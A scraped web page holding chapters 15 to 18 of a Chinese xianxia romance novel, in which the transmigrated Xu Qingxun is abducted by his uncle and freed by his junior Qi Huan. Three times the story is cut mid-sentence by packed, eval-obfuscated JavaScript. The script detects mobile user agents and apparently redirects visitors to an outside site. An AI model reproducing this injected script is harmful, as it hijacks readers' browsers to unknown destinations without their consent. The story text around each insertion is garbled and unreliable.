中年修士眉头一皱,抿了口茶才道:“当然记得,若不是你的那句话,我也不可能东山再起,在许家获得今日的地位。” 许清浔一看有戏,连忙道:“那三叔放了我吧!” “不行。”许如初严正道,“你不知道当前的玄家局势吗,让你回许家,是为了保护你。” 许清浔自然是知道的,但是玄界局势再危险,也不如祁桓危险,他可是肩负着管教灭世大魔头的重要使命啊。 许如初转头扫他一眼,缓缓道:“你太引人注目了,那个试炼即将开启,你的存在对其他世家来说,是个极其巨大的威胁,他们会想方设法提前除掉你,在你之前,已经有好几个天赋异禀的凡间天才遭难了。” 许清浔一顿。 所谓“那个试炼”,指的无非是九界天才会,即由九界大神通者共同凝聚法力,开启的一个试炼洞天。 参加者年龄必须大于十八、小于三十六,之所以区间从“十八”开始,原因在于,三为天地人之数,六为至阴之数,三六相乘,意味着人站于至阴,迎天地至阳阳,之所以区间在“三十六”结束,因至阴乘以至阴,为极阴,正所谓天之道,损有余 而补不足,极阴迎极阳,取此意味。 那些所谓的大修士,就是喜欢玩一些不知道有没有意义的数字隐喻。 许清浔不仅知道九界天才会,也正在为其做准备,打算和祁桓一起参加,所以……说什么也不能被带回家啊! “三叔,我真的不能回去!”许清浔有些着急了,万一真的被带回家,那出来可就难了。 许如初无动于衷,淡淡道:“浔儿,你父亲和母亲很想念你。” 许清浔嘴角微抽,对于他的那对便宜爹妈……他心里只有大大的无语,就算不是为了祁桓,他也不想回家被他们折腾。 许如初接着又道:“对了,王家的家主与主母对你赞不绝口,多次邀你去他们的家宴。” 许清浔面色黑了,他当然知道,家里一直希望他跟王家的那位大小姐联姻。 玄界十大家族,王、许、李,三姓传承万年,被誉为万古世家,底蕴之深不可测,超出世人想象,姬、罗、岐、容、灵、蓝、梦,七姓传承千年,被誉为千古世家,每个都是影响玄界的超级庞然大物。 王家与许家先祖不合,一度禁止双方往来,但如今的后人可不那么想,他们互相觊觎对方的传承,一直想制造一个契机,让两家名正言顺地恢复正常往来,比如说,后辈子弟联姻了。 不过,王家之人何等心高气傲,寻常人他们根本看不上,而好巧不巧,一个值得他们打破祖训的人才出现了,那便是许清浔,令众大世家垂涎不已的绝世符法天才。 许如初眼神深沉,语重心长地说:“王家的符法底蕴比许家深厚,你跟他们结亲结缘,对你的道途来说,绝对是大好之事。” 许清浔面色更黑,心想老子都修仙了,为的什么?不就是为了摆脱那些人情世故吗,区区符法机缘,有主角在手,还不得手到擒来? 三叔啊,你格局小了! 不过,许清浔总不能将这些实话实说。 许如初见他沉默不语,以为他在反思,便站起身,道:“好好想想吧,玄界的时间不多了。” 许清浔瞳孔一震,抬起头,许如初已经走了。 “我这次不会真要翻车吧……” 许清浔努力坐起身,双足着地,却无法站立,因为双边脚踝都被捆住了,他目光垂落,扫过腰间的玉佩,心道:“三重禁制之下,别的方法都用不了了,只剩下这个玉佩,可是祁桓那家伙刚刚才气走了,他会用玉佩把我召回去吗?” 许清浔愁眉苦脸,他有点后悔,早知道就不调戏那家伙了。 这时,房门忽然被打开,露出了几颗小小的脑袋。 许清浔闻声转头,顿时眼前一亮,笑出声来,“你们也来了吗?” 三个小孩立马涌进房间内,分别是许乐情、许乐思、许乐语,他三叔家的吉祥三宝三兄妹。 “浔哥哥好久不见啦!” 他们笑着跑了过来,两个妹妹许乐思、许乐语在前面,哥哥许乐情稍慢一步。 许清浔看到他们很是欣慰,哪怕他们解不开他的束缚。 许乐语跑到前头,皱眉道:“父亲太坏了,居然绑着哥哥。” 许乐思抓着捆仙索掰扯,苦恼道:“解不开……父亲好坏。” 许清浔大感暖心,“没事,倒是你们怎么跟着来了?” “因为想念浔哥哥呀!” 三个孩子异口同声,让孩子王的许清浔眉开眼笑,若是手可以动,他真想一个个摸摸他们的脑袋。 “别站着,坐坐。” 许清浔端坐起来,哪怕被绑着,也仍旧一副从容不迫的样子。 许乐思立马坐到他身旁,仰起脑袋,好奇道:“哥哥,我们都听说了,你收了一个新的小师弟!” 许乐语也立刻抢坐他身旁,占据了右边的位置,兴奋道:“他是什么人呀!” 许清浔爱照顾家中小辈,因为担心他们常在深宅中不晓世事,便经常分享许多身边的人与事给他们听。 “祁桓是什么人吗。”许清浔重复了他们的问题,无意识道:“他的事……说来话长。” 三个小孩更好奇了,目光闪闪地望着他,较为腼腆的许乐情也忍不住道:“哥哥说呀!” 许清浔笑了笑,眼神微深,沉默了片刻才道:“不说他的事,说另外一个人的故事怎么样?” 三个小孩歪了歪头,许乐思直呼:“好呀好呀。” 许清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15798161|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浔点头,边回忆边道:“有一天,玄界西方边境,一个孩子出生了,他天生早慧,活泼开朗,他父亲开明,常陪他玩耍、教他练武修行,母亲淑慧,教他如何为人,他还有一个姐姐,因为曾经被负心过,她从小就训她弟弟最毒负人心,长大后万万不能负人心。他在家人的宠爱中长大,单纯可爱,好奇心旺盛……” - 几乎与此同时,三玄宗。 黑衣青年望着远去的神舟,久久没有发声。 这时,他身后走来了另一个青年。 李长金停在祁桓身旁,道:“七师弟,大师兄被带走了,你没有什么感想吗。” 祁桓皱眉,“没什么感想。” 李长金转头,“即便他那么照顾你?” 祁桓眼神一沉,“我并未要求他这么做。” 李长金凝眸,似乎为许清浔感到了不值。这个七师弟什么都好,待他人也不坏,就是对许清浔十分……冷淡,好像许清浔对他怎么了似的。 符水门也走了过来,对祁桓说:“小师弟,你这就太冷淡了,大师兄平日待你不薄啊。” 祁桓神色微变,似乎有些亏欠,低下头,沉声道:“他回许家,应当是一件好事。” “才不是吧!”符水门激动道,“万一真的被迫联姻了呢?” 李长金习以为常道:“世家子弟本就没有自由,除非拥有足以掌握自由的实力。” “可那是我们大师兄啊!”符水门很不满。 听着他们对话,祁桓顿了顿,目光再次望向远方,忽然语出惊人道:“而且,他有别的心上人。” 这话一出,李长金和符水门同时面色大变,立即看向了祁桓,见鬼了似的,异口同声地大叫dao:“谁?大师兄的心上人是谁!!” 祁桓面色微红,右手不自觉地抚了抚腰间的玉佩。他心想,他虽对许清浔没有那种心思,但是许清浔好歹喜欢了他五年,而他一直利用着那份心意。 “……我不能说他是谁,但大师兄喜欢了那个人很久,若是就这么错过,连心意都未曾表达,或许会成为一生的遗憾。” 祁桓尝试品了品那份心意,不禁反省自己会不会对许清浔太苛刻了,这么多年来,居然没有一天对许清浔好过。 对于那样一份无可挑剔的真心…… 旁边的两人已经震撼到说不出话了。 他们表面大大咧咧的大师兄心里竟还藏着一份如此真挚柔软的恋情吗! 符水门浑身一颤,“大师兄竟然甚至不曾表达过,天啊,这得暗恋得多苦啊!” 一向镇定的李长金都激动了,“不行,不能让大师兄就这么回许家,大师兄对我们百般照顾,我们也要回报大师兄!” “是啊!”符水门接着道:“至少要帮大师兄跟那个人告白心意,让大师兄一生不留遗憾啊!” 一旁听着的祁桓微有不自在。 他低头,紧握拳头,回想着跟许清浔相处以来的一幕幕,心中郑重地告诫自己,时间已经证明了一切,那个人确实对他一片真心,他不能再利用那个人的心意了,要堂堂正正地说清楚才行。 对,我祁桓,不喜欢男人! 16.第十六章 “哥哥、哥哥,怎么不说了?” “他在家人的宠爱中长大,然后呢?” 三个小孩摇了摇许清浔。 然而许清浔失神,似乎陷入了很深的回忆,沉默许久也没说话。 以前看的时候只当是故事,所以并未真实体会过祁桓的人生,如今一字一句从自己口中说出之后…… 他不禁开始反思,自己之前是不是对祁桓太轻浮了,总喜欢调戏,总喜欢开玩笑,其实根本没有触及到……真正关键的东西。 以致于,祁桓被他的玩笑气走了,唯一可能逃脱的法子,不可能生效了。 ……这算是一种自作自受吧。若是能重来,半年前他就不该因为祁桓不听话发脾气,若是能重来,刚刚他就不该开祁桓的玩笑。 可是,偏偏已经来不及了。 许清浔沉默。 三个小孩担忧地看着他,第一次看他如此失落。 许乐思皱了皱眉,“哥哥是想到回家,所以难过吗?” 许乐语失落,转头道:“听说爷爷们要把哥哥关到九界天才会开启……” 许乐情顿了顿,正欲说什么。 许清浔已经收拾了情绪,笑对他们,“抱歉,哥哥今日没有说故事的心情,想休息一下。” 许乐思即道:“没事没事,下次再说!” 另外两个孩子也点点头。 许清浔一笑,逐个看着他们的脸,“老规矩,哥哥说的故事,千万不能告诉其他人哦。” “是的!”三个小孩一本正经地点点头,早在初遇的时候,他们就发过天道誓言,不会将哥哥说的事情告诉他人。 “三叔说,玄界的时间不多了,你们呀,也别玩了,抓紧时间好好修炼,知道吗?”许清浔接着道。 “嗯!”三个小孩认真点头。 片刻后,他们离开,只剩下独自一人的许清浔。 他想,不能坐以待毙,许家回是绝对不能回的,除了便宜爹妈,以及联姻的原因,还有更重要的原因,许家并非一条心,家族成员关系复杂,回家反而更危险。 那只剩下玉佩了吗…… 许清浔目光转动,却落在一枚白玉材质的戒指上。它并非戒指,其实是《原始太虚经》的玉简所化,当年它昙花一现,后整整沉寂了五年,没有任何异动,令人困惑。 现在主人危机了,它会有什么表现吗? 许清浔探入灵觉,专心而仔细地感知。 - 另一边,三人追赶在后。 “师弟你怎么不早说,那许家神舟都那么远了!” “没想到那玩意跑那么快。” “等等,大师兄不是给你很多缩地成寸符吗?”符水门忽然转头,满眼好奇。 祁桓一顿,“确实给了很多,但快用完了。” 说完,他反问身旁的两人,“他没给你们吗?” 李长金摇头,道:“他说我家里有,从不给我。” 符水门则郁郁道:“只给了三张!” “他给了我三千张……”祁桓声音很低地说。 在场的都是修士,怎会听不清,符水门闻言都傻眼了,嘴巴张得老大,家财万贯的李长金瞪大眼睛,见鬼似的。 三千张缩地成寸符意味着什么?意味着一百多万颗的上品灵石! 而且那还不是一般符,是符法天才许清浔亲自刻画的!价格起码能翻倍! 符水门悚然,难以置信地看着祁桓,“虽然早知大师兄喜欢你,但没想到……” 李长金也是差不多表情,“我也没想到。” 实在是给符水门的三张和给自己的三千张差距过于巨大,祁桓本人也震撼了,被那个人过于沉重的爱意。 虽然是个动不动就开玩笑的轻浮师兄,但从不会藏私,更不会吝啬,连看门的符法都教他,只是他实在没有符法天赋,最多只能学到一二成。 祁桓低头,“……” 符水门自我安慰道:“啊,我想起来了,大师兄跟我说过来着!” “说什么?” 祁桓立刻问。 符水门回忆道:“他说你跟我不一样,非常容易遇到危险,所以别的可以不给,但保命的东西一定要给,越多越好、越放心。” 李长金回忆起来,“确实,隐约记得大师兄说过这种话。” 符水门笑了,“如此说来,那倒也不是什么好事,毕竟大师兄虽然没给我多少缩地成寸符,但他给了我几百张百变神通符,那可比缩地成寸符价值高多了。” 祁桓沉默,心想百变神通符我也有几千张…… 他们边说话边追赶,可惜还是差一点距离,好在神舟不知为何停了下来。 他们没有大意,掩藏气息躲在后方,神舟停了许久都未动,不知何故,感觉是发生了什么事。 李长金祭出十方洞明符,“他们是在等时空乱流过去,我们先这样等着吧,许如初走出来了。” 两人点头。符水门称是。 祁桓目光看向李长金。 李长金察觉到他的目光,也看向了他,问道:“七师弟,怎么了吗。” 没什么,祁桓本想这么回答,但他确实一直很好奇,李长金这样的人,为何会对许清浔如此亲近,甚至是仰慕。 只不过,那貌似不是这个场合应该问的事。 时空乱流持续,居然半个时辰过后,还在持续。 李长金和祁桓都是耐得住性子的人,可符水门不是,他转过头,聊起了一些事。 “话说回来,七师弟,你又是怎么知道大师兄有心上人的?” 祁桓愣住,沉思片刻才道:“我猜的。” 这话一出,两人又一次面色大变。 李长金傻眼,“原来是猜的?七师弟你……” 符水门茫然。 不过事到如今也不可能半途而废,至少他们师兄弟之间总说两句话再分别,此去经年,谁知多少年后才能相见。 祁桓沉默,突然转移了话题,看向李长金,“话说回来,二师兄,你当年与大师兄是如何相识的。” 这可真是开门见山、直截了当,李长金也是个干脆人,直接道:“那日他救了我的命,我说要报答他,他说那便做他师弟,于是我便做到了今日。” 符水门笑道:“我是掉进三玄宗的防贼阵法里被大师兄路过捞出来了。” 似乎他们的相遇,比自己的还要印象深刻,祁桓有些思考。 当初,那个人很有强买强卖的态势,真像是喜欢上一个人,不择手段地要带回家一样。 这样想来,回忆中的那个人似乎变得可爱了一些,又或许是当初的他疑心太重了吗? 祁桓皱了皱眉,似乎又有些犹豫。 - “有点感觉,但不多,到底怎么回事……”但反正指望不上了。 许清浔纳闷,目光落在玉佩上,心道,师弟,师兄忏悔了,你行行好,把师兄召过去好不好,师兄保证以后不会乱调戏你了。 委实说,我的本意只是逗你笑呀,而且你自己说论心不论迹的,师兄便是劣迹斑斑,你也会原谅的对不对? 然而,对着空气忏悔毫无意义。 他沉默了一会,忽地眼神变了,转念一想,自己为何要求人?求外物? 求人求他物不如求己,若是我能以灵识刻画符纹,岂不是也能想办法脱逃? 对啊! - 神舟的另一边。 “父亲,您就放了浔哥吧,不要把浔哥关起来。” “浔哥会听话的,他会很听话的!” 三个小孩轮番求情,软磨硬泡,令许如初不禁有些头大。 事实上抓许清浔回家一事并非家族命令,而是他的独断独行。他想着,家里的老人既然都在讨论这件事了,而他恰好路过三玄宗,不如提前给办了,毕竟家族的大天才流落在外终究不是什么好事,虽然许清浔的父母似乎另有打算,看上去完全不着急。 就在这时,许如初面色突变,当即将身边的三个小孩送到安全空间,自己则站起身,死死地盯着前方。 神舟之前,不知何时,出现了两个蒙面之人。 与此同时,神舟的正后方。 “发生什么事了吗?”符水门道。 “有敌人。”李长金皱眉。 “他们要拦截许家的神舟么。”祁桓凝眸远望。 三人互看一眼,都露出了凝重之色。 “会是传说中的天才杀手吗?”李长金怀疑。 “大师兄在三玄宗没事,一出来就出事,我看在许家反而更危险。”符水门叨叨说。 话音刚落,前方瞬间爆发大战,恐怖的元婴威能镇压了四方空间。 而祁桓突然开口,“就是现在!” “啊?”没等李长金、符水门反应过来,祁桓已经用缩地成寸符消去了身形。 几乎同时,许清浔本成功在空气中刻下了符纹,周围忽然一阵剧震,再接着,他腰间的玉佩突然焕发青光。 他呆住,瞬间露出大喜之色,只见面前光景变幻,直至浮现出一张熟悉的脸。那人二话不说地横抱起他,然后迅速后撤,用的还是他亲自刻画的缩地成寸符。 他眨了眨眼,双唇微张,内心开始是诧异,然后是欣慰,五年过去了,这家伙不知不觉间长高了,身子也不再瘦小薄削,而是高大健硕。这五年里,他虽然总是心血来潮的行事,不做任何计划,但似乎目标并未走远。 眼前这个人正是他努力的见证、成功的证明。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15804094|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >是了,他好像还要道歉来着,想说……以后不会乱开玩笑,乱调戏你了。 许清浔想到这里时,他们已经走到了一定距离。 祁桓停下脚步,淡淡道:“没事了,应该追不上来了。” 许清浔回过神,打量着半年没见的主角的脸。 祁桓似乎有些紧绷,并未看下来,不知在想什么。 许清浔了然,通常这种时候,是要他来制造气氛才行。他于是笑了笑,准备开个好头。 祁桓却先开口了,似乎很犹豫地说:“其实,我已经知道了。” 许清浔瞳孔一震,心想,他知道什么了? 祁桓眉头紧皱,罕见地露出十分亏欠的表情,“但是,我不喜欢男人。” “…………” 许清浔瞪大眼睛,不知这话究竟从何说起,这他早就知道了,然后呢? 祁桓一动不动,没有看许清浔,任东风狂吹,黑发飞舞,像一柄锋利无匹的利剑,孤傲地钉在这片土地上。 许清浔看呆了一阵,不明所以,觉得既新奇,又莫名可爱,低头道:“比起这个,你先给我解开捆仙索吧?” “……好。”祁桓愣了好一会,才将许清浔缓缓放下。 元婴大能的手段只有元婴大能才能解开,恰好他剑匣中有一柄元婴大能炼制的法宝短剑,虽然残破,但应该能破开捆仙索。 大树的阴翳下,一人屈膝下蹲,一人靠着大树端坐,气氛多少有些尴尬。 许清浔作为老气氛组人,虽然很想调和气氛,但有点搞不明白怎么回事,祁桓来救他,是大好之事,说明不计前嫌了,但刚刚的话是……为了提醒他,要他不要误会? 许清浔面色古怪,不过这倒是不怎么重要,重要的是——对,他得跟祁桓道歉。 但没想到,他刚喊师弟,对方同时也喊了师兄。 双人目光交错,空气又差点凝固。 许清浔当即咳一声,“师弟,你先说吧。” 祁桓默然,听不出任何情绪地说:“你先。” 许清浔眨了眨眼,点头道:“是关于半年前的事,师兄不该责备你,更不该因此冷落你,你今日不计前嫌,救师兄于水火,师兄甚是感激。” 祁桓抬眸,眼里似乎闪过了一丝意外。 许清浔老脸微红,接着道:“当时我其实气的不是你,是我自己,要是我再强一点,你就不会也陷入危险了,身为师兄却护不住师弟,实在是无能。” 祁桓一顿,盯着许清浔的眼睛,“所以你半年不见我,其实是因为没脸见我?” 许清浔面色更红,脑子一团乱,下意识想要转移话题,突然灵机一动,抬脸道:“话说回来,半年不见符箓都用完了吧?没事,等会师兄给你补。” 然而祁桓不知想到什么,低声地说:“我如今已经不怎么需要符箓了。” “啊?是吗?”许清浔一愣。 空气再次陷入静默,一人割着捆仙索一言不发,一人面露失落之色,罕见地情绪有些低落。 许清浔心想也是,本来原著的祁桓就不怎么需要符箓,他老给祁桓符箓,可能多此一举了。 只不过,一手养大的弟弟渐渐不需要自己,也是一件难免心酸的事情。 他低头,越想越失落,安静的样子一反常态。 祁桓抬头,似乎不习惯这样的许清浔,没忍住打破了沉默,“比起这些,师兄不怪我妨碍你回家吗。” “回家?”许清浔下意识回答,“那能是什么好事吗,不自由,毋宁死,我之前常说吧?” 祁桓眉头一皱,“师兄把死说得太轻了。” “但修士哪个不是随时可能死的?” 许清浔笑着反问,表情又有了平日的样子,理所当然道: “修炼可能死,历练可能死,哪怕什么都不做,也可能死,要是怕死,我早就不做修士了。” 祁桓沉默片刻,唇线微扬,“再怎么说,你也是回家更安全。” “哈哈,安不安全可不是你说了算,要知道,许家里面要我死的,绝对比要我活的多。” 许清浔双眸微眯,笑容更灿烂了一些。 他是读者,通晓原著,想要安然无恙修炼到最强,找一个世外桃源,不引人注目,猥琐发育,绝对是最好的方法,木秀于林而风必摧之,这是傻子都懂的道理吧?但那样活着就不是他,更不是他的道了。 苟道流虽好,但还是无敌流适合他。 “是吗。”祁桓看着许清浔重获光彩的眸子,不自觉地微笑道:“这就是你不回许家的原因。” “不完全是。”许清浔又笑了,双眸定定地望着祁桓,“你忘了吗?九界天才会在即,师兄要是回许家了,还怎么陪你镇压天下?” 祁桓割着捆仙索的手抖了抖。 17.第十七章 “陪我……”祁桓顿了顿,忽地抬眸道:“只是你要镇压天下吧。” 许清浔一愣,又大笑起来,半是认真地说:“话是这么说,但我的天下也不能没有师弟你啊。” 祁桓脸上本十分浅淡的微笑变得明显了,“半年不见,师兄开玩笑的本事倒是丝毫不减。” 许清浔笑容僵硬,迟疑了下,很是认真地开口,“说到这个,师兄反省了,我以后……不会再随便开你玩笑了。” 祁桓露出诧异的眼神,但并未说什么,他双眸垂落,扫过那双莹白的脚踝,割着捆仙索的速度缓了缓,似乎有些失神。 许清浔心情原本很严肃,没想到祁桓对此一点反应都没有。当初不是总抗议吗?莫非五年过去,已经习以为常了? 等等,习以为常? 许清浔瞳孔一震,他竟然让祁桓被迫习惯了他的屑行为! 作为两世为人的大人,他可真是……太不应该了。 许清浔顿时痛心疾首、悔不当初,再看祁桓时,表情充满了怜爱。 “这些年都是师兄的不对,师兄再次跟你陪不是!”他又认真道,这次的表情更加诚恳。 祁桓动作微僵,似乎才回过神,幽幽地看了许清浔一眼,停顿一会才道:“没什么,我此前也说过,论心不论迹,我知道你其实从来没有恶意。” 然而许清浔听了,心中却是更加内疚,“不不,你还是论一些迹吧,师兄不会怪你的!” 可是祁桓也是极固执之人,他的原则比他的刀还要坚硬。他淡淡道:“我家姐姐说过,千金难买是真心。对我而言,一个人若是真心待我,即便他要杀我,我也觉得无妨。” 许清浔傻了眼,“你在说什么?无妨?等等,哪有人真心待你,却要杀了你的?” 祁桓一脸平淡,“不知道,万一有呢。” 许清浔语塞,他感觉,虽然现在的祁桓没有走上原著的变态路线,但也称不上走在正常的路线上。这种极端的思想……会是好事吗。 “说是这么说,但我也不是站着挨打的人。”祁桓注意到许清浔的眼神,不禁补充了一句。 许清浔听到这里才放心,笑道:“对对,这就对了,傻子才站着让人杀。” 哐。祁桓成功割断了许清浔脚踝处的捆仙索,目光幽幽抬起,“师兄,转过身来。” “好。”许清浔自然听话,他们相处五年培养出了一定的默契,他当然知道祁桓准备割断他手上的捆仙索。说实话,双手让人捆在身后,怪不舒服的。 祁桓目光垂下,盯着许清浔的手腕,竟有那么一瞬间,想这个人一直被捆着,因为这个人只有在弱势的时候,说话才中听一些。但他沉默了一下,还是割起了捆仙索,语气平淡道:“话说回来,师兄怎会轻易被抓走了。” 许清浔当即红了脸,守真岛是他的道场、他的地盘,按理说,即便是元婴大能,也不可能轻易在他的道场将他带走,但谁让他喝多了,神智不清,再加上被打了一个措手不及,完全没料到许如初突然过来。 “师兄……意想不到。” 许清浔低头,老实说。 祁桓抬眸,看到许清浔侧脸一片绯红。 好面子,却脸皮薄,尤其不喜欢在师弟师妹面前丢了面子,这个人……实在太好懂了。 所以当初他为何觉得这个人居心叵测,深藏不露?分明是个心事全部写在脸上的人。 祁桓又不自觉地笑了,之前被冷落半年,他确实不太高兴,但知道真相后,反倒觉得符合这个人的性情,一想到这个人半夜辗转反侧,只为后悔在师弟面前没表现好,就觉得……心情很好。 他边割着捆仙索,边问:“师兄不是卜道高手,号称什么都能算吗,怎么算不出自己会被抓。” 许清浔面色更红,心想你小子能不能不要打击师兄了。 当年,为了合理化他的“洞见”,他从小自称卜道高手,但他不是真的卜道高手,仅仅是利用作为读者的情报而已,当然不可能预料到所有人的行动,明明祁桓也是知道的,便要提这一嘴打击他吗? 真是,当初那个水灵灵的柔弱可欺小师弟去哪里了…… “师兄的卜道毕竟不是全能,你是知道的,我常受天道制约,许多东西无法卜算。” 许清浔一本正经地胡说八道。 祁桓不知信没信,继续割着捆仙索,随口道:“那师兄能卜算我的将来吗。” 许清浔一顿,面色变化,不禁想起了原著对未来祁桓的描述。 ——男人血眸冷戾,扫过之地,瞬间化为血海,他一手遮天,翻手间日月倒转,山海破灭。他立于血海之上,所迈过之处,尽是尸骨与毁灭。 他瞳孔微震,心跳漏了好几拍,却是笑道:“你的未来?我当然知道,你会成为九界第二强者!” 祁桓毫无意外,“然后九界第一是你吗。” “哈哈,师弟真是上道。”许清浔好像非常欣慰,但是额头冒了些冷汗。 祁桓沉默地继续割捆仙索,不知在思考什么。 咣,手上的捆仙索被割断,双手重获自由,许清浔大喜,发自内心地感激道:“谢了师弟,师兄欠你一个大人情!” “还有一个。” 祁桓面色淡淡,伸手捻起许清浔脖子边的捆仙索。 许清浔本背对着,忽然被牵了一下,不得不转身面对祁桓,看到了面前闪亮的短剑。它距离他的脖颈,只有不到一寸的距离,凭祁桓那身堪称变态的肉.体力量,若是这般近距离袭击他,他怕是根本反抗不了。 看着那短剑缓缓伸来,许清浔莫名危机感腾起,背后发凉。他寻思,他应该没干什么让祁桓记恨到要杀人的事情吧,应该……没有吧?他就是初见那会忍不住调戏祁桓,除此之外,应该就、就没啥了吧? 还好,在他紧张的目光中,短剑停在了捆仙索的缘边,握着它的人正在专心切割捆仙索,眼神中看不出丝毫杀意,平淡的好像在描一幅画,反倒好像是他这莫名的紧张玷污了对方的好意。 许清浔顿了顿,心跳恢复了正常,与此同时,更觉内疚。他似乎潜意识里总把祁桓看成原著中那个变态,却忘记了,今时今日的祁桓,是在名门正派中成长起来的大好青年,五年不曾碰什么《灭世魔经》了。 他不禁好奇地问:“说起来,师弟你为何会主动救师兄?” 祁桓动作一顿,双眸缓缓抬起,平静的眼神让人不寒而栗。 许清浔被看得心跳加速,要说不紧张是不可能的,主要是距离太近了,对面又是一个表面看似温文尔雅,实则能手撕灵兽立劈金丹的大猛男。 气氛几乎要凝固了,而祁桓也终于开口,“不知道。” 许清浔呆了呆,“不……知道?” “原本只是想说清楚一件事,毕竟你若是被带回家,说不定以后都没机会说清楚了。”祁桓慢慢地割着捆仙索。 许清浔困惑了,“什么事?” 祁桓眉头微皱,偏偏许清浔的表情看不出一丝装傻的样子,可若不是那个原因,这个人何来那么深重的好意,萍水相逢,非亲非故,比对其他师兄师姐还要用心…… 他想不明白,眼里掠过一抹烦躁之色,盯着许清浔的目光称不上温和。 许清浔顿时如芒刺背,心想我方才绝对没有惹他吧?他为何这样盯着我? 脖颈前的短剑反射过一道雪白的亮芒,令许清浔的心也拔凉的拔凉的。他又不得不更正想法,虽然祁桓现在算是大好青年,但这家伙偶尔会有些阴晴不定,比如说现在。 忽然,对面之人毫无预兆地靠近过来,迫人的压迫感近乎实质。 许清浔仿佛能感受到对方的呼吸,莫名地心惊胆战。 可是,对面之人突然间笑了,语气玩味道:“师兄这般任人摆布的模样,倒不失为一番景色。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816224|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许清浔呆住,这才意识到自己被耍了,好小子,长大了就敢耍师兄了是吗? 要不是这捆仙索在,师兄一拳给你揍飞! 然而祁桓还一本正经地品着许清浔身上的气息,“嗯,还留有酒气。昨日宿醉造成今日之事,师兄以后还敢喝酒吗。” 许清浔气得满面通红,终于绷不住了,“臭小子,师兄好里好气跟你说话,你还来劲了是吗?都开始教训师兄了?” 祁桓笑了,当即割断最后一条捆仙索,“师弟只是觉得反省内疚不似师兄的性子。” 许清浔彻底重获自由,体内的灵力快速运转起来,再没有了刚刚那般受制于人的弱态,他立马站起身来,双手收于袖袍中,端的是一副云淡风轻、神采飞扬,若非脖颈上还留有被捆绑的索纹,还真看不出他刚刚落过难。 祁桓不动声色地看了许清浔一眼,“神舟那边爆发了一场元婴级别的大战,双方都奈何不了对方,现在分开了,我猜许如初前辈应该已经发现你不见,正着急寻你。” 说着,他转头问,“师兄下一步的准备是?” “三玄宗暂时不能回去,另外找一处洞天修炼吧,多谢师弟相助,师兄现在已经没事了。” 许清浔笑了笑,“话说回来,师弟可知多少关于九界天才会的事。” “将近一无所知。”祁桓实话道。 那是极少数人才知道的事,在宗门之中,一般也只有宗主和长老才知道,普通修士根本不知道其存在,甚至连玄界之外还有八个世界都不知道。 许清浔意料之中,“它……表面上是一场历练,实际上也是一场历练。” 这话说得跟没说一样,祁桓蹙眉。 “师兄不是有意卖关子。”许清浔挠了挠脸,“总之,你随师兄进去,到时候便会一步步知道它是怎么回事了。” “是吗。”祁桓语气淡淡,“我一定要随你一起么。” 许清浔汗颜,诚恳道:“师弟,你是知道的,师兄是符修,在修成元婴之前,肉身是弱点,总需要保护,再说了,我们之前配合的不是好好的吗?” 他们确实配合的很好,相识的五年里,有四年多的时间在一起历练,从一开始的互拌后腿、天天吵架,到现在的默契自然。当然,一开始是许清浔强行拉着祁桓一起历练,谓之来自师兄的贴心关怀。祁桓当时跑不了,只好告诫自己“忍辱负重”,谁知不知不觉间…… 祁桓眼神微暗。 他其实知道,许清浔所说的肉身弱点其实是借口,本心只是想他在身边而已。 可是,这究竟为何?若是出于爱恋,他也说了自己并不喜欢男人,对方应该知难而退才是,抑或是,即使如此,也要坚持? 许清浔看祁桓又阴晴不定,又有些茫然。 他只是想主角在身边看着,以防黑化而已,另外,祁桓这家伙的“聚宝盆”体质也确实很难割舍。 那个大洞天里面无数秘宝,没了祁桓,光他自己很难拿到手。当然,秘宝本身不是重点,重点是大洞天背后的大隐秘。 他既然来到了这个世上,就必须要阻止“那件事”的发生,哪怕过程凶险异常,甚至会要了他的命。 想到这里,许清浔神色变了,严肃地盯着祁桓,仿佛无论如何,也要祁桓答应下来。 而祁桓沉默许久,忽然转过头来,眼神淡漠。 许清浔眉头一皱,以为他要拒绝。 祁桓却道:“好,我陪你。” 许清浔怔了怔,眸子微微睁大。忽然,他不知想到什么,好奇道:“对了师弟,万一我在里面发生了什么事,以后都不能再陪你了,你会如何?” 祁桓回答他的是往额头的突然一记弹指。 猝不及防之下,他吃疼地闷哼一声,刚要说什么,便听见祁桓接着回答。 “有我在,不会有事的。” 许清浔的心跳莫名加速了一下。 18.第十八章 “不过,师兄何时顾虑那么多了。”祁桓问。 “顾虑……” 许清浔一愣,心想自己是在顾虑吗。 嗯……或许是吧,他来到这个世上,虽说最大的任务是眼前这个人,但与此同时,玄界也是他生活了二十三年的地方,他不可能没有一丝感触。 而天道能派他这个读者来,就应该还能再派一个读者来,原著祁桓黑化的几个剧情点他都全部规避了,对接任者来说,接下来的任务应该轻松多了。 